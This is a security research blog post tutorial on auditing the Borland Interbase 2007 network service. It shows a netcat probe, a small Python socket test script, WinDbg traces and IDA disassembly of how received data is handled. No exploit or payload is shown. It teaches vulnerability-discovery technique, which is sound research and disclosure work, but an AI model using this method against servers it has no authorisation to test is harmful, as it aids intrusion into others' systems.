TippingPoint Digital Vaccine Laboratories
DID YOU KNOW... Most phishing sites are hosted on compromised Apache + PHP + MySQL servers located in the US. Our Digital Vaccine service includes filters specifically designed to prevent potential victims from reaching many of these malicious sites.

Step by Step of How TPTI-07-013 was Discovered

So one of our advisories, TPTI-07-013 went out today. The issue is a remote code execution in Borland Interbase 2007. This is an interesting target for us because we accidentally stumbled on it. The story goes like this...

I was up late on wednesday night, as usual since we are all up late on wednesday nights, and decided to take a look at BakBone NetVault. Upon installing NetVault, I noticed a process listening on TCP port 3050. This process turned out to be the "Firebird SQL Server". When I found a vulnerability in that process, TPTI-07-11, I did some research on what Firebird SQL is. It turns out that at one point Borland open sourced Interbase. This is when the guys at Firebird decided to branch that source tree and start a free, open source version under the Firebird SQL moniker. So hey, if one product has a vulnerability, and it was forked from another products source, then maybe we should look at the other vendor. That's where Borland Interbase 2007 comes in. Since it has the same code base, I downloaded a trial and decided to play with it for a few minutes.

So what im trying to do in this blog post is go over how I found this bug. Hopefully some of this will serve as a "Auditing 101" how-to for network services. This bug was fairly easy to find, and should be good practice. Hey, maybe it will help you find other Interbase bugs.

After installing software to audit, I pull up TCPView to see which processes are listening on which ports.



As we see, TCP port 3050 is open (just like the FirebirdSQL server fbserver.exe). At this point, I try and connect to that port via netcat from another box. In this case, I have Interbase in a virtual machine so it's simple.
C:\>nc 10.1.1.132 3050
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa^C

C:\>
The reason for the a's is not a cheap key repeat fuzzer, but a way to see if a service is only expecting a few bytes. For instance, a process may expect multiple packets, or work in a send/receive method. If the socket is closed after 12 "a"'s then I gain a little more understanding of what's going on. In this case, however, I manually closed the socket after a few bytes because obviously it is expecting more than I am willing to type manually.

At this point, I know that we can reach the socket from a remote machine. I also know my connection will actually accept data, which is good, because in some situations, a socket may be listening but won't receive any data from a remote machine (the socket will be closed after checking which host has connected via accept()). Since we can communicate over the network, I need a method for programatically accessing this service and manipulating the data being sent over the wire. Let's write a cheap Python script to do this.
#!/usr/bin/env python

import socket

host = "10.1.1.132"
port = 3050

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "[*] Connecting to [%s:%d]" % (host, port)
s.connect((host, port))

buffer = "A" * 20

print "[*] Sending [%s]" % buffer
s.send(buffer)

print "[*] Closing socket"
s.close()
This is pretty simple and doesn't contain any error checking, but we're not really worried about that right now. When ran, we see the process on the target machine handle the request properly. Even increasing the sent buffer to 0x5000 does nothing. That's ok, we must be dealing with something a *little* more complex (cat /dev/urandom 4lyfe).

At this point we need a debugger. With the debugger, we can inspect futher how data is being taken from the socket and used. In most cases you will want to do this step with any network service. Data has to get to the process somehow, and we want to be there when it happens. So on to our trusty WinDbg...



Now that we are attached, we are going to break on the common Win32 API calls for receiving network input. The most common are the recv family (Although there are a few other methods for receiving socket data). From here on out no more screen shots of WinDbg, that defeats the purpose of a command line debugger :).
0:005> bp ws2_32!recv
0:005> bp wsock32!recv
0:005> g
Wooh that was difficult. Lets send data.
C:\>ibserver.py
[*] Connecting to [10.1.1.132:3050]
[*] Sending [AAAAAAAAAAAAAAAAAAAA]
[*] Closing socket

C:\>
And what do you know...
Breakpoint 0 hit
eax=000000b0 ebx=00aa0388 ecx=00a96652 edx=00a96554 esi=00aa0758 edi=00000000
eip=71ab615a esp=010ed8e4 ebp=010efbcc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
WS2_32!recv:
71ab615a 8bff            mov     edi,edi
0:003> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
010ed8e0 004118c9 000000b0 00a96652 00002000 WS2_32!recv
010efbcc 00411440 00a96554 00a96652 00002000 ibserver+0x118c9
010efbf4 00410fa5 00a965d4 00000000 00aa0758 ibserver+0x11440
010efc0c 00411008 00a965d4 010efc20 00000004 ibserver+0x10fa5
010efc24 00419043 00a965d4 010efc38 00000001 ibserver+0x11008
010efc3c 00412a06 00a965d4 00a9bab4 00000002 ibserver+0x19043
010efdd8 004103c5 00a965d4 00a9bab4 0001b7a4 ibserver+0x12a06
010efdf4 00405205 00a9bdec 00a9bab4 827c7840 ibserver+0x103c5
010eff18 0040411c 00a9bdec 0000005a 00a9bdec ibserver+0x5205
010eff80 77c3a3b0 00000000 00000000 00000000 ibserver+0x411c
010effb4 7c80b50b 00aa0388 00000000 00000000 MSVCRT!endthreadex+0xa9
010effec 00000000 77c3a341 00aa0388 00000000 kernel32!GetModuleFileNameA+0x1b4
So this allows us to take a cursory look at how data comes off the socket. We can tell in WinDbg via the stack back trace that recv was called like this:
WS2_32!recv(SOCK s, char* buf, int len, int flags)
WS2_32!recv(000000b0, 00a96652, 00002000, 00000000)
So we notice the call to recv is expecting up to 0x2000 bytes of data (thats a lot). Lets just continue on and see what code in ibserver.exe is responsible for calling recv on our socket.
0:003> gu
eax=00000014 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000
eip=004118c9 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ibserver+0x118c9:
004118c9 898534ddffff    mov     dword ptr [ebp-22CCh],eax ss:0023:010ed900=00000000
The "gu" command will take us up to the previous call in the chain, effectively letting us return from the current function. Now that we are back in our target process (ibserver.exe), we will want to use something with a little better visual appeal. IDA Pro serves as the de-facto standard for reverse engineering. While I can do all of this in a debugger, the visualization and workflow available in IDA is unparalleled. I simply take the EIP from the debugger (0x004118c9) and drop that into IDA with my disassembled ibserver.exe binary.
0x004118B1 push    0                      ; flags
0x004118B3 movsx   eax, [ebp+arg_8]
0x004118B7 push    eax                    ; len
0x004118B8 mov     ecx, [ebp+arg_4]
0x004118BB push    ecx                    ; buf
0x004118BC mov     edx, [ebp+arg_0]
0x004118BF mov     eax, [edx+48h]
0x004118C2 push    eax                    ; s
0x004118C3 call    ds:recv
0x004118C9 mov     [ebp+var_22CC], eax
Here we are, just as expected. For verifications sake you can also see all the arguments that were pushed to recv() before the call. Of note is the pointer being supplied to recv for our character buffer. Lets just take a look and make sure our data is sitting at that memory location. If you remember we can grab the location from our call chain we dumped in the recv break point.
0:003> dc 00a96652 
00a96652  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00a96662  41414141 00000000 00000000 00000000  AAAA............
00a96672  00000000 00000000 00000000 00000000  ................
00a96682  00000000 00000000 00000000 00000000  ................
00a96692  00000000 00000000 00000000 00000000  ................
00a966a2  00000000 00000000 00000000 00000000  ................
00a966b2  00000000 00000000 00000000 00000000  ................
00a966c2  00000000 00000000 00000000 00000000  ................
Yea that looks about right, notice the buffer has been zeroed out because recv was expecting more data. Looking at the disassembly of this function from where we are to the return, I can tell in a couple seconds that the rest of this function simply checks that:

a) recv() read data
b) There were not any socket errors
c) We have received more than 0 bytes from the socket

A keen observer following along will notice I didn't touch on the call to 0x44DBBBB (ive labeled it as "something" in the screen shot). I did briefly look at it, and since it does not receive arguments, and does a lot of mutex locking and thread management, I decided it will most likely not affect my data in any way. Many times you will have to make decisions like this, especially when reverse engineering more complex functions. Go with your instinct and look for clues in strings and library calls.



And a quick trace in WinDbg confirms this as well.
eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000
eip=004118d4 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ibserver+0x118d4:
004118d4 83bd34ddffffff  cmp     dword ptr [ebp-22CCh],0FFFFFFFFh ss:0023:010ed900=00000014
0:003> t
eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000
eip=004118db esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
ibserver+0x118db:
004118db 7518            jne     ibserver+0x118f5 (004118f5)             [br=1]
0:003> t
eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000
eip=004118f5 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
ibserver+0x118f5:
004118f5 eb05            jmp     ibserver+0x118fc (004118fc)
0:003> t
eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000
eip=004118fc esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
ibserver+0x118fc:
004118fc 83bd34ddffff00  cmp     dword ptr [ebp-22CCh],0 ss:0023:010ed900=00000014
0:003> t
eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000
eip=00411903 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x11903:
00411903 7f14            jg      ibserver+0x11919 (00411919)             [br=1]
0:003> t
eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000
eip=00411919 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x11919:
00411919 83bd34ddffffff  cmp     dword ptr [ebp-22CCh],0FFFFFFFFh ss:0023:010ed900=00000014
0:003> t
eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000
eip=00411920 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
ibserver+0x11920:
00411920 751f            jne     ibserver+0x11941 (00411941)             [br=1]
0:003> t
eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000
eip=00411941 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
ibserver+0x11941:
00411941 83bd34ddffff00  cmp     dword ptr [ebp-22CCh],0 ss:0023:010ed900=00000014
0:003> t
eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000
eip=00411948 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x11948:
00411948 751a            jne     ibserver+0x11964 (00411964)             [br=1]
0:003> t
eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000
eip=00411964 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x11964:
00411964 8b5514          mov     edx,dword ptr [ebp+14h] ss:0023:010efbe0=010efbe8
0:003> t
eax=00000000 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000
eip=00411967 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x11967:
00411967 668b8534ddffff  mov     ax,word ptr [ebp-22CCh]  ss:0023:010ed900=0014
0:003> t
eax=00000014 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000
eip=0041196e esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x1196e:
0041196e 668902          mov     word ptr [edx],ax        ds:0023:010efbe8=2000
0:003> t
eax=00000014 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000
eip=00411971 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x11971:
00411971 b801000000      mov     eax,1
0:003> t
eax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000
eip=00411976 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x11976:
00411976 8be5            mov     esp,ebp
0:003> t
eax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000
eip=00411978 esp=010efbcc ebp=010efbcc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x11978:
00411978 5d              pop     ebp
0:003> t
eax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000
eip=00411979 esp=010efbd0 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x11979:
00411979 c3              ret
0:003> t
eax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000
eip=00411440 esp=010efbd4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x11440:
00411440 83c410          add     esp,10h
Once again we will want to take the current EIP and follow it in our disassembly so we can get a better view of how the process is reacting to our user supplied data. This can also be done by using the call chain we dumped at our recv() breakpoint. Although in more complex situations tracing step by step like we are doing is the best method.

We are now looking at this block of code.
0x0041142D push    eax                               ; int
0x0041142E mov     cx, word ptr [ebp+var_C]
0x00411432 push    ecx                               ; __int16
0x00411433 mov     edx, [ebp+recv_buffer]
0x00411436 push    edx                               ; recv_buffer
0x00411437 mov     eax, [ebp+var_10]
0x0041143A push    eax                               ; int
0x0041143B call    wrapper_for_recv
0x0041143B 
0x00411440 add     esp, 10h
I have named the functions we just visited because I have a good idea what its purpose it. In some cases, I would make the function name a little more specific, but for this demonstration "wrapper_for_recv" is fine. Also note that I have labeled the pointer being supplied for the recv() call two functions down. This lets me quickly identify anytime my user supplied data is being accessed.

Again a cursory glance of this function we are currently in tells me not much is actually accessing our data. Looking at it briefly I see that our received bytes count is being stored, our recv_buffer is being adjusted accordingly and some structure pointers are being updated with this information. The specific details of this can be better seen in the debugger. Also I have noticed that when we successfully return from functions we are returning 1 (True) and when something is wrong we return 0 (False). This might help if I hit a basic block setting EAX to 0 before a return.



And like I mentioned in the debugger we can easily correlate this information.
eax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000
eip=00411440 esp=010efbd4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x11440:
00411440 83c410          add     esp,10h
0:003> t
eax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000
eip=00411443 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x11443:
00411443 85c0            test    eax,eax
0:003> t
eax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000
eip=00411445 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x11445:
00411445 7504            jne     ibserver+0x1144b (0041144b)             [br=1]
0:003> t
eax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000
eip=0041144b esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x1144b:
0041144b 0fbf4df4        movsx   ecx,word ptr [ebp-0Ch]   ss:0023:010efbe8=0014
0:003> t
eax=00000001 ebx=00aa0388 ecx=00000014 edx=010efbe8 esi=00aa0758 edi=00000000
eip=0041144f esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x1144f:
0041144f 85c9            test    ecx,ecx
0:003> t
eax=00000001 ebx=00aa0388 ecx=00000014 edx=010efbe8 esi=00aa0758 edi=00000000
eip=00411451 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x11451:
00411451 7c0e            jl      ibserver+0x11461 (00411461)             [br=0]
0:003> t
eax=00000001 ebx=00aa0388 ecx=00000014 edx=010efbe8 esi=00aa0758 edi=00000000
eip=00411453 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x11453:
00411453 0fbf55f4        movsx   edx,word ptr [ebp-0Ch]   ss:0023:010efbe8=0014
0:003> t
eax=00000001 ebx=00aa0388 ecx=00000014 edx=00000014 esi=00aa0758 edi=00000000
eip=00411457 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x11457:
00411457 8b45fc          mov     eax,dword ptr [ebp-4] ss:0023:010efbf0=00a96652
0:003> t
eax=00a96652 ebx=00aa0388 ecx=00000014 edx=00000014 esi=00aa0758 edi=00000000
eip=0041145a esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x1145a:
0041145a 03c2            add     eax,edx
0:003> t
eax=00a96666 ebx=00aa0388 ecx=00000014 edx=00000014 esi=00aa0758 edi=00000000
eip=0041145c esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x1145c:
0041145c 8945fc          mov     dword ptr [ebp-4],eax ss:0023:010efbf0=00a96652
0:003> t
eax=00a96666 ebx=00aa0388 ecx=00000014 edx=00000014 esi=00aa0758 edi=00000000
eip=0041145f esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x1145f:
0041145f eb26            jmp     ibserver+0x11487 (00411487)
0:003> t
eax=00a96666 ebx=00aa0388 ecx=00000014 edx=00000014 esi=00aa0758 edi=00000000
eip=00411487 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x11487:
00411487 8b4df0          mov     ecx,dword ptr [ebp-10h] ss:0023:010efbe4=00a96554
0:003> t
eax=00a96666 ebx=00aa0388 ecx=00a96554 edx=00000014 esi=00aa0758 edi=00000000
eip=0041148a esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x1148a:
0041148a 668b5132        mov     dx,word ptr [ecx+32h]    ds:0023:00a96586=0400
0:003> t
eax=00a96666 ebx=00aa0388 ecx=00a96554 edx=00000400 esi=00aa0758 edi=00000000
eip=0041148e esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x1148e:
0041148e 80ca04          or      dl,4
0:003> t
eax=00a96666 ebx=00aa0388 ecx=00a96554 edx=00000404 esi=00aa0758 edi=00000000
eip=00411491 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x11491:
00411491 8b45f0          mov     eax,dword ptr [ebp-10h] ss:0023:010efbe4=00a96554
0:003> t
eax=00a96554 ebx=00aa0388 ecx=00a96554 edx=00000404 esi=00aa0758 edi=00000000
eip=00411494 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x11494:
00411494 66895032        mov     word ptr [eax+32h],dx    ds:0023:00a96586=0400
0:003> t
eax=00a96554 ebx=00aa0388 ecx=00a96554 edx=00000404 esi=00aa0758 edi=00000000
eip=00411498 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x11498:
00411498 8b4d08          mov     ecx,dword ptr [ebp+8] ss:0023:010efbfc=00a965d4
0:003> t
eax=00a96554 ebx=00aa0388 ecx=00a965d4 edx=00000404 esi=00aa0758 edi=00000000
eip=0041149b esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x1149b:
0041149b 8b55fc          mov     edx,dword ptr [ebp-4] ss:0023:010efbf0=00a96666
0:003> t
eax=00a96554 ebx=00aa0388 ecx=00a965d4 edx=00a96666 esi=00aa0758 edi=00000000
eip=0041149e esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x1149e:
0041149e 2b5110          sub     edx,dword ptr [ecx+10h] ds:0023:00a965e4=00a96652
0:003> t
eax=00a96554 ebx=00aa0388 ecx=00a965d4 edx=00000014 esi=00aa0758 edi=00000000
eip=004114a1 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x114a1:
004114a1 8b4508          mov     eax,dword ptr [ebp+8] ss:0023:010efbfc=00a965d4
0:003> t
eax=00a965d4 ebx=00aa0388 ecx=00a965d4 edx=00000014 esi=00aa0758 edi=00000000
eip=004114a4 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x114a4:
004114a4 895014          mov     dword ptr [eax+14h],edx ds:0023:00a965e8=00000000
0:003> t
eax=00a965d4 ebx=00aa0388 ecx=00a965d4 edx=00000014 esi=00aa0758 edi=00000000
eip=004114a7 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x114a7:
004114a7 8b4d08          mov     ecx,dword ptr [ebp+8] ss:0023:010efbfc=00a965d4
0:003> t
eax=00a965d4 ebx=00aa0388 ecx=00a965d4 edx=00000014 esi=00aa0758 edi=00000000
eip=004114aa esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x114aa:
004114aa 8b5508          mov     edx,dword ptr [ebp+8] ss:0023:010efbfc=00a965d4
0:003> t
eax=00a965d4 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000
eip=004114ad esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x114ad:
004114ad 8b4210          mov     eax,dword ptr [edx+10h] ds:0023:00a965e4=00a96652
0:003> t
eax=00a96652 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000
eip=004114b0 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x114b0:
004114b0 89410c          mov     dword ptr [ecx+0Ch],eax ds:0023:00a965e0=00a96652
0:003> t
eax=00a96652 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000
eip=004114b3 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x114b3:
004114b3 b801000000      mov     eax,1
0:003> t
eax=00000001 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000
eip=004114b8 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x114b8:
004114b8 8be5            mov     esp,ebp
0:003> t
eax=00000001 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000
eip=004114ba esp=010efbf4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x114ba:
004114ba 5d              pop     ebp
0:003> t
eax=00000001 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000
eip=004114bb esp=010efbf8 ebp=010efc0c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x114bb:
004114bb c3              ret
0:003> t
eax=00000001 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000
eip=00410fa5 esp=010efbfc ebp=010efc0c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x10fa5:
00410fa5 83c404          add     esp,4
So that seems to check out. I also am keeping in mind the fact that our previous call to recv() wanted more data than we supplied. In the future I will keep my eye on the number of bytes received (0x14) and see if the process ever checks it and loops if its less than another constant (0x2000 perhaps). This happens all the time when the process is *expecting* more data than is received, you will see what equates to a while loop with repeated calls to recv().

Just a quick side note, at each point where I return from a function, I am setting a "Mark" in IDA Pro (Atl-M). This lets me set points in the binary that are interesting and label them with useful notes. At any point during this I can simply access those marks (Ctrl-M) and remind myself what was going on if I need.

Continuing on we can see something interesting actually happening. In this function we see two things. We see our data being copied to a pointer passed to the function, and we also see this block being executed in a loop with another argument supplied as the counter. Heres the basic block copying our data.
0x00410FB0        loc_410FB0:                        ; CODE XREF: sub_410E46+154j
0x00410FB0                                           ; sub_410E46+164j
0x00410FB0 mov     ecx, [ebp+recv_info_struct]       ; a struct for our received data
0x00410FB3 mov     edx, [ecx+0Ch]                    ; our user buffer
0x00410FB6 mov     eax, [ebp+ptr_to_dword]
0x00410FB9 mov     cl, [edx]                         ; read the first byte of our data
0x00410FBB mov     [eax], cl                         ; store that byte
0x00410FBD mov     edx, [ebp+ptr_to_dword]
0x00410FC0 add     edx, 1                            ; add 1 to the dest ptr since we copied a byte
0x00410FC3 mov     [ebp+ptr_to_dword], edx           ; store the new address
0x00410FC6 mov     eax, [ebp+recv_info_struct]
0x00410FC9 mov     ecx, [eax+0Ch]                    ; our buffer again
0x00410FCC add     ecx, 1                            ; add one since we copied a byte
0x00410FCF mov     edx, [ebp+recv_info_struct]
0x00410FD2 mov     [edx+0Ch], ecx                    ; store the updated pointer
0x00410FD5 mov     eax, [ebp+recv_info_struct]
0x00410FD8 mov     ecx, [eax+14h]                    ; received bytes
0x00410FDB sub     ecx, 1                            ; sub 1 since we processed 1 byte already
0x00410FDE mov     edx, [ebp+recv_info_struct]
0x00410FE1 mov     [edx+14h], ecx                    ; store the new value (0x13)
0x00410FE4 jmp     short loc_410F84
As you can see by some of the comments, this is a simple copy routine that does a byte copy from our recv buffer to a pointer that was supplied to this particular function. The interesting thing to note is the "jmp short loc_410F84" which, if you notice, goes backwards.
0x00410F84        loc_410F84:                        ; CODE XREF: sub_410E46+F2j
0x00410F84                                           ; sub_410E46+19Ej
0x00410F84 mov     ecx, [ebp+loop_count]
0x00410F87 sub     ecx, 1
0x00410F8A mov     [ebp+loop_count], ecx
0x00410F8D cmp     [ebp+loop_count], 0
0x00410F91 jl      short loc_410FE6
Here is when we first see the dword argument used. As you can tell i've label it as a loop counter because it is being checked after each copy block until the argument (0x4) is less than 0. While we are still looping we hit this block.
0x00410F93 mov     edx, [ebp+recv_info_struct]
0x00410F96 cmp     dword ptr [edx+14h], 0            ; received bytes
0x00410F9A jnz     short loc_410FB0
This simply says while we have bytes remaining to be copied execute the copy basic block. And if you notice the jump lines up with our previous basic block responsible for copying a byte of data from our user supplied buffer to our argument. Ahhh the power of IDA's graph based display can help you visualize all this pretty well.



I wanted to take another side step here and discuss the recv_info_struct argument that is passed to this function. As we can see in several places, this is obviously a structure containing important data about our received buffer. Offsets like 0x0c and 0x14 are used to denote the address of our received data and the length of said data. We can gather that this may be an important structure because it is used consistently in this function and some of the previous functions. In normal cases it would be a good idea to go ahead and set up a structure and members in IDA's structure window. This will allow us to assign each of these members to the disassembly window for easier viewing. I would highly recommend this for especially complex structures that are being passed around in a binary. However for this quick audit i'm not bothering because I can recognize the two important members.

